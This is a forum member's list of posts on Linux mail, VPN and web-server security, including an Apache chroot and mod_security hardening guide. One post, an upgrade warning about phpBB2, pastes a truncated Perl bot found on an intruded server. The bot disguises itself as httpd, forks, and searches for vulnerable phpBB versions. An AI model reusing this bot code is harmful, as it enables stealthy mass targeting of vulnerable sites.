顯示文章

這裡允許您檢視這個會員的所有文章。請注意, 您只能看見您有權限閱讀的文章。


主題 - fz150n

頁: [1]
1
最近弄了一個簡單的監測網頁,希望異常的時候發信給我,
但是公司內網控管甚嚴,FC4又不能透過ISA連結,所以我只好利用
Sendmail Smart Host的功能把信丟給 Lotus Domino來幫我寄信。

問題來了~首先遇到的TLS問題,搞了很久才成功轉寄出去,
好不容易成功寄出了,結果有試一堆亂碼。

參考咱們大陸同胞寫的一個方法:

$subject=mb_convert_encoding($subject,\"big5\",\"utf-8\");
$message=mb_convert_encoding($message,\"big5\",\"utf-8\");

結果是沒用的,改用成mb_send_mail函數,也不能,

請問前輩有人遭遇過這樣的問題嗎?快被亂碼搞瘋了!
以下是我的測試碼:

<?
mb_language('BIG-5');
$datee = date("Y年 n月 d日 H時 i分 s秒");
$content = date("Y年 n月 d日 H時 i分 s秒");
$subject = "XXXXX" . $datee . "異常報告!";
$subject = mb_encode_mimeheader($subject,'BIG-5');
$mail = "tonyyu@test.com";
        $addition = "From: \"FZ150N\"< tonyyu@test.com >\n" .
                        "Subject: " . $subject . "\n" .
                        "Content-Type: text/html; \n" .
                        "MIME-Version: 1.0\n" .
                        "X-MSMail-Priority: high\n";
mail($mail, $subject, $content, $addition);
?>

2
Linux 討論版 / 使用sendmail的read command ??
« 於: 2007-02-13 19:22 »
各位前輩,
第一次看到這種處理程序,ps aux 裡面一直有這樣的東西出現:

root     18331  0.0  0.3 10092 3688 ?        S    19:17   0:00 sendmail: server [59.89.246.158] cmd read

請問一下這樣正常嗎?我該怎麼禁止呢?謝謝!!

3
請教各位,

小弟的MailServer最近發現很多不明的mailq,如果用ps查一下的話:
代碼: [選擇]
[root@myhost ~]# ps aux | grep sendmail
root      6845  0.0  0.2  6784 2716 ?        Ss   Nov08   0:00 sendmail: Queue runner@00:15:00 for /var/spool/mqueue
root      3578  0.0  0.3  7688 3560 ?        S    16:10   0:00 sendmail: ./kA8FkM8g007906 uk2mxarray3.uk2.net.: user open
root      3980  0.0  0.3  7236 3332 ?        S    16:40   0:00 sendmail: ./kA8J3N6K008971 msa-mx2.hinet.net.: user open
root      4068  0.0  0.3  7236 3332 ?        S    16:55   0:00 sendmail: ./kA8LWoK2010324 msa-mx5.hinet.net.: user open
root      4358  0.0  0.3  7236 3332 ?        S    17:10   0:00 sendmail: ./kA8KvqWi010133 msa-mx8.hinet.net.: user open
root      4547  0.0  0.3  7236 3352 ?        S    17:25   0:00 sendmail: ./kA8H9LP7008310 msa-mx5.hinet.net.: user open
root      5025  0.0  0.3  7236 3352 ?        S    18:10   0:00 sendmail: ./kA8EYZSo007418 msa-mx8.hinet.net.: user open
root      5221  0.0  0.3  7236 3340 ?        S    18:55   0:00 sendmail: ./kA8IxdLt008944 msa-mx8.hinet.net.: user open
root      5478  0.0  0.3  7932 3584 ?        S    19:40   0:00 sendmail: ./kA97SVnJ014270 msa-mx1.hinet.net.: user open
root      5540  0.0  0.3  7236 3332 ?        S    19:55   0:00 sendmail: ./kA93gaMX012578 msa-mx10.hinet.net.: user open
root      5703  0.0  0.3  7224 3336 ?        S    20:10   0:00 sendmail: ./kA8NbpFT010866 msa-mx1.hinet.net.: user open
root      5708  0.0  0.3  7236 3336 ?        S    20:25   0:00 sendmail: ./kA95DdFr013269 msa-mx6.hinet.net.: user open
root      5730  0.0  0.3  7224 3328 ?        S    20:40   0:00 sendmail: ./kA91Xok6011730 msa-mx8.hinet.net.: user open
root      5900  0.0  0.4  8944 4536 ?        S    21:00   0:00 sendmail: ./kA9CxwJN005898 msa-mx3.hinet.net.: user open
root      6260  0.0  0.3  7236 3300 ?        S    21:10   0:00 sendmail: ./kA95m8Wq013365 msa-mx5.hinet.net.: user open
root      6293  0.0  0.3  7224 3324 ?        S    21:25   0:00 sendmail: ./kA99bhpq004633 msa-mx8.hinet.net.: user open
root      6349  0.0  0.3  7224 3328 ?        S    21:40   0:00 sendmail: ./kA9A3uBN004973 msa-mx2.hinet.net.: user open
root      6633  0.0  0.3  7660 3140 ?        Ss   22:01   0:00 sendmail: accepting connections
smmsp     6641  0.0  0.2  6784 2592 ?        Ss   22:01   0:00 sendmail: Queue runner@01:00:00 for /var/spool/clientmqueue
root      6940  0.0  0.3  7236 3288 ?        S    22:25   0:00 sendmail: ./kA8NS9J4010819 msa-mx6.hinet.net.: user open
root      6995  0.0  0.3  7236 3288 ?        S    22:40   0:00 sendmail: ./kA8K9Ydm010056 msa-mx4.hinet.net.: user open
root      7419  0.0  0.3  7236 3288 ?        S    22:55   0:00 sendmail: ./kA9BEoUl005412 msa-mx1.hinet.net.: user open
root      7442  0.0  0.3  8116 3712 ?        S    23:01   0:00 sendmail: ./kA9BOU0q005443 msa-mx12.hinet.net.: user open
root      7634  0.0  0.3  7236 3296 ?        S    23:10   0:00 sendmail: ./kA9BOreR005456 msa-mx11.hinet.net.: user open
root      7720  0.0  0.3  7236 3340 ?        S    23:25   0:00 sendmail: ./kA982B9N003475 msa-mx9.hinet.net.: user open


請問一下這可能是什麼原因造成的呢?
感激感激~

4
Computer 討論版 / 光纖界面 SCSI硬碟機
« 於: 2006-09-29 15:33 »
引用
36.7G HUS151436VLF200 (光纖界面)  SCSI硬碟機    9,450  
36.7GB,2Gbits/sec Fibre Channel光纖介面,15000rpm,3.3ms,16Mb,單碟29G,液態軸承馬達,Ultrastar 15K147系列,五年保固  


這是名人3C量販看到的,

請問這種硬碟是要搭配特殊的硬碟櫃還有特殊的網卡才能用是嗎??
如果家用PC想用的話,可以用嗎??
SATA有出10000rpm以上的硬碟嗎??

最近用SATA 7200 RPM   250Gb的硬碟在做影片輸出,
才發現原來速度慢得給它有點可憐~~

5
了然,一直都用Openwebmail收發信件,不然outlook也用HiNet寄信,
不然就用人家現成的mailserver寄信,直到昨天幫朋友安裝FedoraCore5時,
才遇到這個問題。

所以我想,如果剛好有人也遇到相同的問題,希望能夠參考我的心得之後,可以
快速的將sendmail認證設定好。

不想變成OpenRelay,sendmail當然最好還是開啟認證的功能,(就是當你想利
用這台郵件主機寄信時,一定要透過適當的認證方式才能寄信),其實網路上有
很多作法都可以參考,我的心得只針對Fedora系列,其他平台我就沒試過了。

1. 首先要確認有這些sendmail套件:
代碼: [選擇]
sendmail-cf-8.13.5-3
sendmail-devel-8.13.5-3
sendmail-8.13.5-3


2. Cyrus-sasl則要有這些套件:
代碼: [選擇]
cyrus-sasl-devel-2.1.21-10
cyrus-sasl-lib-2.1.21-10
cyrus-sasl-md5-2.1.21-10
cyrus-sasl-2.1.21-10
cyrus-sasl-plain-2.1.21-10
cyrus-sasl-gssapi-2.1.21-10


Cyrus-sasl不一定要全裝,只是我還沒測試過哪些可以不要。

3. 修改/etc/mail/sendmail.mc

代碼: [選擇]
dnl define(`confAUTH_OPTIONS', `A')dnl
define(`confAUTH_OPTIONS', `A p')
TRUST_AUTH_MECH(`EXTERNAL PLAIN DIGEST-MD5 CRAM-MD5 LOGIN')
define(`confAUTH_MECHANISMS', `PLAIN EXTERNAL GSSAPI DIGEST-MD5 CRAM-MD5 LOGIN')
DAEMON_OPTIONS(`Port=smtp,Addr=0.0.0.0, Name=MTA')


其他部份我就沒動了,改好之後存檔。

4. 產生新的sendmail.cf
代碼: [選擇]
先備份舊的:  mv /etc/mail/sendmail.cf /etc/mail/sendmail.cf.bak
產生新的:m4 /etc/mail/sendmail.mc > /etc/mail/sendmail.cf

5. 確認saslauthd是否啟動

完成第4個步驟就重新啟動sendmail的話,還不夠,Fedora好像預設不會自動啟動saslauthd,所以你可以先手動啟動saslauthd:

代碼: [選擇]
/etc/rc.d/init.d/saslauthd start

看一下/car/log/message的訊息:
代碼: [選擇]
Aug 12 12:45:46 myfedora saslauthd[29710]: detach_tty      : master pid is: 29710
Aug 12 12:45:46 myfedora saslauthd[29710]: ipc_init        : listening on socket: /var/run/saslauthd/mux


這樣就表示saslauthd6啟動成功了,為了確保下次開機會自動啟動:
代碼: [選擇]
chkconfig --level 234 saslauthd on

6. 重新啟動sendmail

7. 本機測試:
外部也可以啦~假設你連到本機去:
代碼: [選擇]
[root@mail init.d]# telnet localhost 25
Trying 127.0.0.1...
Connected to localhost.localdomain (127.0.0.1).
Escape character is '^]'.
220 myfedora.com.tw ESMTP Sendmail 8.13.5/8.13.5; Sat, 12 Aug 2006 12:49:18 +0800
ehlo localhost
250-myfedora.com.tw Hello localhost.localdomain [127.0.0.1], pleased to meet you
250-ENHANCEDSTATUSCODES
250-PIPELINING
250-8BITMIME
250-SIZE
250-DSN
250-ETRN
250-AUTH PLAIN GSSAPI DIGEST-MD5 CRAM-MD5 LOGIN
250-STARTTLS
250-DELIVERBY
250 HELP


該有的認證都有了,是該用outlook寄寄看了:

8. 設定outlook

帳號設定都一樣,把「我的伺服器需要認證」打勾,帳號密碼跟登入的一樣,不然你喜歡重打一次也可以。

接著寄一封信到外面的信箱,像hotmail yahoo之類的。

看一下 /var/log/maillog

引用
Aug 12 12:39:21 myfedora sendmail[29471]: AUTH=server, relay=111-222-333-444.dynamic.hinet.net [111.222.333.444], authid=my.name, mech=LOGIN, bits=0


這樣就不會出現錯誤,而且你的郵件主機也不會被拿來當郵件跳板了。

6
Network 討論版 / 請教SonicWall VPN~
« 於: 2006-07-14 11:12 »
請問一下,

Global VPN Client一般都會搭配自製憑證使用嗎?

就是說,需不需要為自己公司建立一個獨立的憑證供GVC使用?
然後,當公司內部使用者要申請VPN帳號時,Client連同憑證
一起配發給使用者?

還是說,用 local 使用者認證就好了?

那麼~可以整合Windows AD Server嗎?

可不可以麻煩使用過SonicWall的前輩,建議一下「一般的作法」呢?

謝謝!

7
前言
   入侵事件時有所聞,對外提供網路服務的主機,大部分都是容易遭受攻擊的,差別在於系統管理員
   是否勤於更新補強,以及是否準備足夠的過濾機制及監控方法來偵測主機。
   
   ~只要接上了Internet,就沒有完全的安全性可言~  By Anonymous
   
   Apache本身的安全性,其實應該算是很成熟的,但被入侵的主機,卻往往都是附屬的應用程式,
   或許對於指令檢查的不完全,或許是程式撰寫的疏忽,而讓系統開了門,變成入侵者的測試天堂。
   
   舉凡XSS(Crxoss Site Scripting or CSS), File Inclusion, SQL Injection,如果稍微注意一下
   資安通報,就會發現這些漏洞不斷被發掘出來,為了被承認,許多甚至還附上證明,這時,一些
   沒創意的或比較懶的入侵者,看到通報之後,或許剛入門,或許技癢,偏偏剛好要入侵的系統的
   管理員出國了,或心情不好,或者忙結婚,等到重新想登入系統的時候,要不就是首頁被換了,
   要不,搞不好還有家歸不得。
   
   是的,有一次因為不小心沒有把客戶主機的root密碼改掉,一個晚上,應該只有幾小時,整個
   系統被搞翻天,還好留了一個已登入的tty,但是終究逃不掉重灌的命運。

   空具RHCE的頭銜,小弟每每面對系統一堆不明的訊息時,卻不知從何做起,跑跑Nessus, Snort,
   AWSTATS,偶而看一下logwatch, 常常看著Bugtraq的說明訊息,卻也只能茫茫然...
   
   於是我定了一堆安全通報,逛一逛駭客網站,看看駭客們的影片傑作,詳讀每一份安全白皮書,
   強迫自己進入資訊安全的知識領域,畢竟有了開始就不會太晚。
   
   我只是newbie,別想太多,也別懷疑我會想要進入別人的系統,因為我根本沒那個能力,
   當一個駭客得要有深厚的TCP/IP為基礎,以及對程式語言的了解,比如perl, C, ASM等等,
   以上提的這些,我通通都沒有,呵呵~
   
   (如果你現在剛好讀著這篇文章,那表示你可能不是西班牙語系的駭客,那應該也不會是羅馬尼亞來的,
   如果你又剛好熟這些程式語言,那請你一定要出來救救大家,開個論壇或辦個教之類的,我一定先報名。)
   
   但是,每天注意這些漏洞,真是一件辛苦的事情,再怎麼補,也還是有被入侵的可能,所以,
   小弟認為應該從健全體質開始做起,重新建制一個更安全的網路服務環境,即使被入侵了,
   入侵者能做的破壞畢竟有限,配合適當的監控及備份回覆措施,系統管理員應該可以多做一些
   其他的事,或學更多更深一點的技術。
   
   講到體質,我想這應該是為什麼現在還有很多人衷情於FreeBSD以及apache 1.X的原因吧?

   CHROOT是一個蠻厲害的技術,詳細內容我也不太了解,就好比loop常常都會用,而且還很愛用,
   但是我也一樣不知道它的詳細技術內容,總之,chroot可以提供系統安全的層次,但決不是杜絕,
   系統安全不會因為把所有重要服務都放到監獄裡就能降到零,風險永遠都存在...
   
   這篇文章只針對Apache Web Server,主要參考的是SecurityFocus一系列的文章而實做出來的,
   我想,專家都這樣建議了,那像我這樣肉腳的管理員也只能唯唯諾諾的照作,
   尤其是被入侵了這麼多次之後,呵呵~
   
   這篇文章希望拋磚引玉,引起大家對資訊安全的重視,別再讓我們辛苦建制的主機,變成入侵者的天堂。
   
   內容如有錯誤,希望前輩及各位網友不吝指教,謝謝!  
   fz150n@hotmail.com
   
測試環境:
   Intel P4 and Celeron
   RedHat Fedora Core 3 and RedHat Enterprise 4
   httpd-2.2.2
   PHP-5.1.4
   MySQL-4.1.20
   ModSecurity-1.9.4   

主要安裝步驟:

   1. mod_security -> 2. httpd -> 3. mysql(binary) -> 4. zlib -> 5. PHP -> 6. chroot -> 7. copy files -> 8. configure -> 9. finish



我們先假設工作的目錄在 /tmp 底下

1. mod_security

   描述:
   這個模組可以有效防止XSS(or CSS)及SQL Injection的攻擊(當然也包含防止盜連),搭配官方或適當的規則,可大幅提昇Apahce的安全性,
   並且也有獨立的稽核及除錯紀錄,方便管理員追蹤。(但是不知道為什麼沒有被Apache基金會包進去?)
   
   因為我們要讓mod_security跟httpd整合編譯,所以先下載到適當位置就好。
      
      
代碼: [選擇]
[ root@fz150n ] wget http://www.modsecurity.org/download/modsecurity-apache_1.9.4.tar.gz
[ root@fz150n ] wget http://www.modsecurity.org/download/modsecurity-rules-current.tar.gz


2. httpd-2.2.2
   描述:
   我們要手動編譯,把有些內定開啟的模組關閉,並同時將mod_security一起編譯進去。
   參考:http://httpd.apache.org/
      
      
代碼: [選擇]
[root@fz150n ] wget http://apache.cdpa.nsysu.edu.tw/httpd/httpd-2.2.2.tar.gz
[root@fz150n ] tar xzvf httpd-2.2.2.tar.gz
[root@fz150n ] mkdir -p httpd-2.2.2/modules/security
[root@fz150n ] tar xzvf modsecurity-apache_1.9.4.tar.gz
[root@fz150n ] cd modsecurity-apache_1.9.4/apache2/
[root@fz150n ] cp mod_security.c Makefile.in config.m4 /tmp/httpd-2.2.2/modules/security/
[root@fz150n ] cd /tmp/httpd-2.2.2
[root@fz150n ] ./buildconf

       (這個指令會跑一陣子,讓apache編譯程式搜尋到你剛剛建立的modules/security,並且建立設定檔)

      
代碼: [選擇]
[root@fz150n ] ./configure
--prefix=/usr/local/apache2 --with-mpm=prefork --disable-charset-lite
--disable-include --disable-env --disable-setenvif --disable-status
--disable-autoindex --disable-asis --disable-cgi --disable-negotiation
--disable-imap --disable-actions --disable-userdir --disable-alias
--enable-so --enable-security --enable-vhost-alias

            (以上請自行參酌開啟或關閉,我是照原作的設定下去跑的,不過我有開so,
            因我只知道用libphp5.so,呵~不知有沒有人可以提供可以完全把so關掉的方法?cgi ???
      
3. mysql-binary

   描述:
   編譯php時需要用的,所以要比PHP早安裝,但請特別注意,MySQL官方也是建議您使用Binary套件,
   也就是你下載之後的MySQL 套件,只要是適合你的系統版本,就可以直接執行,而不需要任何編譯的動作。
   所以一定要找到適合您的系統的套件,一般只要選擇standard的套件,再看看你的glibc是那一版的。
   (一開始的時候用MySQL 5,但是花了我太多時間,卡在一個問題而裝不起來,所以後來才改用4.1.20)

   下載網址:http://dev.mysql.com/downloads/mysql/4.1.html
   (這裡的範例是RedHat Enterprise 4 on Celeron 500  沒辦法,沒機器了~湊合著點)

      
代碼: [選擇]
[root@fz150n ] http://dev.mysql.com/get/Downloads/MySQL-4.1/mysql-max-4.1.20-pc-linux-gnu-i686-icc-glibc23.tar.gz
[root@fz150n ] tar xzvf mysql-standard-4.1.20-pc-linux-gnu-i686-glibc23.tar.gz
[root@fz150n ] mv mysql-standard-4.1.20-pc-linux-gnu-i686-glibc23 /usr/local/mysql/
      
       是的,目前你只需要把它解壓縮,然後搬到/usr/local就好了。
 
4. zlib
   描述:
   我想我的系統一定有zlib,也許是版本太舊了,但是既然PHP5跟我要求,那只好去抓新版的回來裝了:

      
代碼: [選擇]
[root@fz150n ] wget http://www.zlib.net/zlib-1.2.3.tar.gz
[root@fz150n ] tar xzvf zlib-1.2.3.tar.gz
[root@fz150n ] cd zlib-1.2.3
[root@fz150n ] ./configure --prefix=/usr/local
[root@fz150n ] make ; make install

   這個步驟應該不會有問題,如果有的話,請詳讀README或INSTALL,或請將錯誤訊息丟給google處理。

5. php-5.1.4
   描述:
   最後才編譯PHP,說真的我覺得蠻難裝的,有些套件其實我也不確定是否可以不要,萬一以後想用GD的話怎麼辦呢?
   只好想說,先讓基本的功能都先跑起來最重要。

   在這裡編譯完之後,libphp5.so會自己放到httpd的modules目錄底下,並且增加一行LoadModule的設定到httpd.conf,
   但是你需要手動加一行   AddType application/x-httpd-php .php  ,不急,反正還要一下子,等會到第8個步驟再一起設定。

      
代碼: [選擇]
[root@fz150n ] wget ftp://tw.php.net/php/distributions/php-5.1.4.tar.gz
[root@fz150n ] tar xzvf php-5.1.4.tar.gz
[root@fz150n ] cd php-5.1.4
[root@fz150n ] ./configure --prefix=/usr/local
--with-mysql=/usr/local/mysql
--with-apxs2=/usr/local/apache2/bin/apxs
--enable-mbstring --with-zlib-dir=/usr/local

       (從上面的設定看來,我們一定先把 apache 及 mysql 裝起來)

      
代碼: [選擇]
[fz150n@Linux php-5.1.4]# make install
Installing PHP SAPI module:       apache2handler
/usr/local/apache2/build/instdso.sh SH_LIBTOOL='/usr/local/apache2/build/libtool' libphp5.la /usr/local/apache2/modules
/usr/local/apache2/build/libtool --mode=install cp libphp5.la /usr/local/apache2/modules/
cp .libs/libphp5.so /usr/local/apache2/modules/libphp5.so
cp .libs/libphp5.lai /usr/local/apache2/modules/libphp5.la
libtool: install: warning: remember to run `libtool --finish /root/php-5.1.4/libs'
chmod 755 /usr/local/apache2/modules/libphp5.so
[activating module `php5' in /usr/local/apache2/conf/httpd.conf]
Installing PHP CLI binary:        /usr/local/bin/
Installing PHP CLI man page:      /usr/local/man/man1/
Installing build environment:     /usr/local/lib/php/build/
Installing header files:          /usr/local/include/php/
Installing helper programs:       /usr/local/bin/
  program: phpize
  program: php-config
Installing man pages:             /usr/local/man/man1/
  page: phpize.1
  page: php-config.1
Installing PEAR environment:      /usr/local/lib/php/
[PEAR] Archive_Tar    - installed: 1.3.1
[PEAR] Console_Getopt - installed: 1.2
pear/PEAR can optionally use package "pear/XML_RPC" (version >= 1.4.0)
[PEAR] PEAR           - installed: 1.4.9
Wrote PEAR system config file at: /usr/local/etc/pear.conf
You may want to add: /usr/local/lib/php to your php.ini include_path
Installing PDO headers:          /usr/local/include/php/ext/pdo/

      (為了方便往後的設定,建議您將這個畫面的資料拷貝下來。)
      
      依照安裝程式的建議,我們再跑一次(雖然我也不知道這樣是否需要,呵呵):
      [root@fz150n ] ./libtool --finish /root/php-5.1.4/libs
      
       本來我也是想照原文把大部分的模組關掉,但老是編不起來,加上對PHP又沒有很熟,後來只好退而求其次。
       我把我編譯好的模組列出來:

      
代碼: [選擇]
bash-3.00# php -m
[PHP Modules]
ctype
date
dom
hash
iconv
libxml
mbstring
mysql
pcre
PDO
posix
Reflection
session
SimpleXML
SPL
SQLite
standard
tokenizer
xml
xmlreader
xmlwriter
zlib
      
      看起來好像還是太多了,不太符合安全標準,有空再來瘦身一下。


      到這裡為止,我們需要的軟體套件已經具備好了,接下來就準備建立chroot的環境了。

      在開始複製之前,記得一件事情,就是要善用  ldd  (print shared library dependencies)這個工具,
      (當然你也一定要熟悉tail工具的用法,常用的還是 tail -f /xxx/yyy/zzz.log )

      因為我們要從一個完全沒有Library程式庫的環境之下,來讓這些工具跑起來,也只有藉由這樣的工具,
      才讓你可以正確的建置你需要的chroot環境。

8
系統安全討論版 / mod_security的一些疑問
« 於: 2006-05-27 19:28 »
想請問一下,

前陣子小弟貼過了一篇關於Web Server被盜連的問題,
雖然使用了rewrite engine,結果還是沒有成效,現在改用
mod_security了,結果有這樣的紀錄:


access_log
代碼: [選擇]
70.35.23.196 - - [27/May/2006:19:11:14 +0800] "GET /somewhere/c/somepict.JPG HTTP/1.1" 200 73498 "http://profile.myspace.com/index.cfm?fuseaction=user.viewprofile&friendid=2348777" "Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/312.8 (KHTML, like Gecko) Safari/312.6"

error_log
代碼: [選擇]
70.35.23.196 - - [27/May/2006:19:11:14 +0800] "GET /somewhere/c/somepict.JPG HTTP/1.1" 200 73498 "http://profile.myspace.com/index.cfm?fuseaction=user.viewprofile&friendid=2348777" "Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/312.8 (KHTML, like Gecko) Safari/312.6"

modsec_audit.log
代碼: [選擇]
Request: www.example.com.tw 70.35.23.196 - - [27/May/2006:19:11:16 +0800] "GET /somewhere/c/somepict.JPG HTTP/1.1" 200 73498 "http://profile.myspace.com/index.cfm?fuseaction=user.viewprofile&friendid=2348777" "Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/312.8 (KHTML, like Gecko) Safari/312.6" - "-"

依照http status code看來,200    那不就表示其實這個存取的動作,
還是成功了呢?

這是我的mod_security的設定:
代碼: [選擇]
SecFilterSelective HTTP_Referer|ARGS "\.myspace\.com"

請問我應該怎麼做才能有效防止這個盜連呢?  profile.myspace.com

謝謝!

9
各位前輩,

小弟最近在練習使用snort,收集一陣子之後,一直發現我附加的錯誤,

my.server.ip.addr指的就是我伺服器的ip,
也就是說snort發現自己一直對外做port scan ??????

好奇怪喔,難道主機已經遭人植入木馬?
還是snort誤判?

payload的內容大概就是
Open Port: 25
Open Port: 443
之類的。

可否請問一下,我的SERVER發稱什麼問題了呢?

謝謝!

p.s 真抱歉,這樣讀起來有點困難,因為我是直接在BASE的畫面摳下來的。
引用
  #0-(1-4461)  [snort] (portscan) Open Port: 25  2006-05-26 22:57:20  my.server.ip.addr  168.95.5.154  Raw IP  
   #1-(1-4459)  [snort] (portscan) Open Port: 25  2006-05-26 22:57:17  my.server.ip.addr  168.95.5.118  Raw IP  
   #2-(1-4458)  [snort] (portscan) Open Port: 25  2006-05-26 22:57:16  my.server.ip.addr  168.95.5.116  Raw IP  
   #3-(1-4439)  [snort] (portscan) Open Port: 25  2006-05-26 22:55:31  my.server.ip.addr  168.95.5.157  Raw IP  
   #4-(1-4440)  [snort] (portscan) Open Port: 25  2006-05-26 22:55:31  my.server.ip.addr  168.95.5.116  Raw IP  
   #5-(1-4441)  [snort] (portscan) Open Port: 25  2006-05-26 22:55:31  my.server.ip.addr  168.95.5.118  Raw IP  
   #6-(1-4438)  [snort] (portscan) TCP Portsweep  2006-05-26 22:55:30  my.server.ip.addr  168.95.5.155  Raw IP  
   #7-(1-3987)  [snort] (portscan) UDP Portscan: 53:1027  2006-05-26 17:12:18  168.95.1.1  my.server.ip.addr  Raw IP  
   #8-(1-3802)  [snort] (portscan) TCP Portsweep  2006-05-26 14:05:33  my.server.ip.addr  61.31.235.245  Raw IP  
   #9-(1-3766)  [snort] (portscan) TCP Portsweep  2006-05-26 13:18:11  my.server.ip.addr  195.225.218.139  Raw IP  
   #10-(1-3729)  [snort] (portscan) Open Port: 25 2006-05-26 12:19:29  my.server.ip.addr  212.53.64.68  Raw IP  
   #11-(1-3728)  [snort] (portscan) Open Port: 25 2006-05-26 12:19:28  my.server.ip.addr  213.152.250.13  Raw IP  
   #12-(1-3727)  [snort] (portscan) TCP Portsweep  2006-05-26 12:19:28  my.server.ip.addr  213.152.250.13  Raw IP  
   #13-(1-3705)  [snort] (portscan) Open Port: 2703 2006-05-26 11:34:22  my.server.ip.addr  66.151.150.35  Raw IP  
   #14-(1-3702)  [snort] (portscan) Open Port: 2703 2006-05-26 11:33:33  my.server.ip.addr  66.151.150.35  Raw IP  
   #15-(1-3701)  [snort] (portscan) Open Port: 2703 2006-05-26 11:33:09  my.server.ip.addr  66.151.150.35  Raw IP  
   #16-(1-3700)  [snort] (portscan) Open Port: 2703 2006-05-26 11:32:57  my.server.ip.addr  66.151.150.35  Raw IP  
   #17-(1-3699)  [snort] (portscan) Open Port: 2703 2006-05-26 11:32:56  my.server.ip.addr  66.151.150.35  Raw IP  
   #18-(1-3698)  [snort] (portscan) Open Port: 2703 2006-05-26 11:32:53  my.server.ip.addr  66.151.150.35  Raw IP  
   #19-(1-3697)  [snort] (portscan) Open Port: 2703 2006-05-26 11:32:51  my.server.ip.addr  66.151.150.35  Raw IP  
   #20-(1-3696)  [snort] (portscan) Open Port: 2703 2006-05-26 11:32:50  my.server.ip.addr  66.151.150.35  Raw IP  
   #21-(1-3695)  [snort] (portscan) Open Port: 25 2006-05-26 11:32:49  my.server.ip.addr  213.152.250.13  Raw IP  
   #22-(1-3693)  [snort] (portscan) Open Port: 25 2006-05-26 11:32:47  my.server.ip.addr  212.53.64.115  Raw IP  
   #23-(1-3694)  [snort] (portscan) Open Port: 2703 2006-05-26 11:32:47  my.server.ip.addr  66.151.150.35  Raw IP  
   #24-(1-3692)  [snort] (portscan) TCP Portsweep  2006-05-26 11:32:47  my.server.ip.addr  212.53.64.115  Raw IP  
   #25-(1-3622)  [snort] (portscan) TCP Portsweep  2006-05-26 10:23:32  my.server.ip.addr  66.150.161.57  Raw IP  
   #26-(1-3459)  [snort] (portscan) Open Port: 25 2006-05-26 07:47:40  my.server.ip.addr  213.152.250.13  Raw IP  
   #27-(1-3458)  [snort] (portscan) TCP Portsweep  2006-05-26 07:47:40  my.server.ip.addr  213.152.250.13  Raw IP  
   #28-(1-3453)  [snort] (portscan) TCP Portsweep  2006-05-26 07:45:55  my.server.ip.addr  61.31.235.245  Raw IP  
   #29-(1-3165)  [snort] (portscan) TCP Portsweep  2006-05-26 04:15:03  my.server.ip.addr  61.31.235.245  Raw IP  
   #30-(1-3011)  [snort] (portscan) TCP Portsweep  2006-05-26 03:17:00  my.server.ip.addr  64.14.244.60  Raw IP  
   #31-(1-3009)  [snort] (portscan) TCP Portsweep  2006-05-26 03:14:26  my.server.ip.addr  61.31.235.245  Raw IP  
   #32-(1-3002)  [snort] (portscan) TCP Portsweep  2006-05-26 03:04:38  my.server.ip.addr  61.31.235.245  Raw IP  
   #33-(1-2933)  [snort] (portscan) Open Port: 25 2006-05-26 01:54:06  my.server.ip.addr  212.53.64.82  Raw IP  
   #34-(1-2932)  [snort] (portscan) TCP Portsweep  2006-05-26 01:54:06  my.server.ip.addr  212.53.64.82  Raw IP  
   #35-(1-2843)  [snort] (portscan) Open Port: 25 2006-05-26 00:00:40  my.server.ip.addr  212.53.64.68  Raw IP  
   #36-(1-2842)  [snort] (portscan) Open Port: 25 2006-05-26 00:00:36  my.server.ip.addr  212.53.64.82  Raw IP  
   #37-(1-2841)  [snort] (portscan) TCP Portsweep  2006-05-26 00:00:36  my.server.ip.addr  212.53.64.82  Raw IP  
   #38-(1-2834)  [snort] (portscan) TCP Portsweep  2006-05-25 23:47:40  my.server.ip.addr  204.251.15.174  Raw IP  
   #39-(1-2674)  [snort] (portscan) Open Port: 80 2006-05-25 21:54:46  my.server.ip.addr  216.92.131.66  Raw IP  
   #40-(1-2672)  [snort] (portscan) Open Port: 80 2006-05-25 21:54:39  my.server.ip.addr  216.92.131.66  Raw IP  
   #41-(1-2673)  [snort] (portscan) Open Port: 80 2006-05-25 21:54:39  my.server.ip.addr  216.92.131.66  Raw IP  
   #42-(1-2671)  [snort] (portscan) Open Port: 80 2006-05-25 21:54:34  my.server.ip.addr  216.92.131.66  Raw IP  
   #43-(1-2670)  [snort] (portscan) TCP Portsweep  2006-05-25 21:54:24  my.server.ip.addr  212.53.64.82  Raw IP  
   #44-(1-2551)  [snort] (portscan) Open Port: 80 2006-05-25 19:34:07  my.server.ip.addr  218.1.14.162  Raw IP  
   #45-(1-2549)  [snort] (portscan) TCP Portsweep  2006-05-25 19:29:28  my.server.ip.addr  202.102.16.11  Raw IP  
   #46-(1-2422)  [snort] (portscan) Open Port: 443 2006-05-25 17:30:12  66.249.66.65  my.server.ip.addr  Raw IP  
   #47-(1-2423)  [snort] (portscan) Open Port: 80 2006-05-25 17:30:12  66.249.66.65  my.server.ip.addr  Raw IP  
   #48-(1-2421)  [snort] (portscan) TCP Portscan: 80:443 2006-05-25 17:30:12  66.249.66.65  my.server.ip.addr  Raw IP  
   #49-(1-2389)  [snort] (portscan) Open Port: 25 2006-05-25 16:58:47  my.server.ip.addr  212.53.64.115  Raw IP  

10
系統安全討論版 / phpBB2趕快升級喔~
« 於: 2006-05-21 09:57 »
原來都是利用phpBB2的漏洞跑進來的,各位的phpBB2版本如果是下面程式碼裡面列出的話,就趕快升級囉。

(第一行還要註明他的e-mail,真是夠了。)

phpBB2 2.0.20 升級頁面:
http://phpbb-tw.net/phpbb/viewtopic.php?t=43968

後來雖然我還是決定暫時先把phpBB2移除了,但是可否請學長們教一下,咱們的酷學園是如何做好安全防護的呢?

代碼: [選擇]


###### psyclon.br@gmail.com ######

use strict;
use IO::Socket;
use IO::Handle;


my $process = '/usr/sbin/httpd';
$0="$process"."\0"x16;;
my $pid=fork;


sub fetch();
sub remote($);
sub http_query($);
sub encode($);

sub fetch(){
    my $rnd=(int(rand(9999)));
    my $s= (int(rand(281)));
    if ($rnd>1000) { $s= (int(rand(100)))}
 
   

    my @str=(
             "by+phpBB+2.0.4+",
"by+phpBB+2.0.5+",
"by+phpBB+2.0.6+",
"by+phpBB+2.0.7+",
"by+phpBB+2.0.8+",
"by+phpBB+2.0.9+",
"by+phpBB+2.0.10+",
         


 );

    my $query="search.msn.com.br/results.aspx?q=";
    $query.=$str[(rand(scalar(@str)))].$rnd;
    $query.="&first=$s";

    my @lst=();
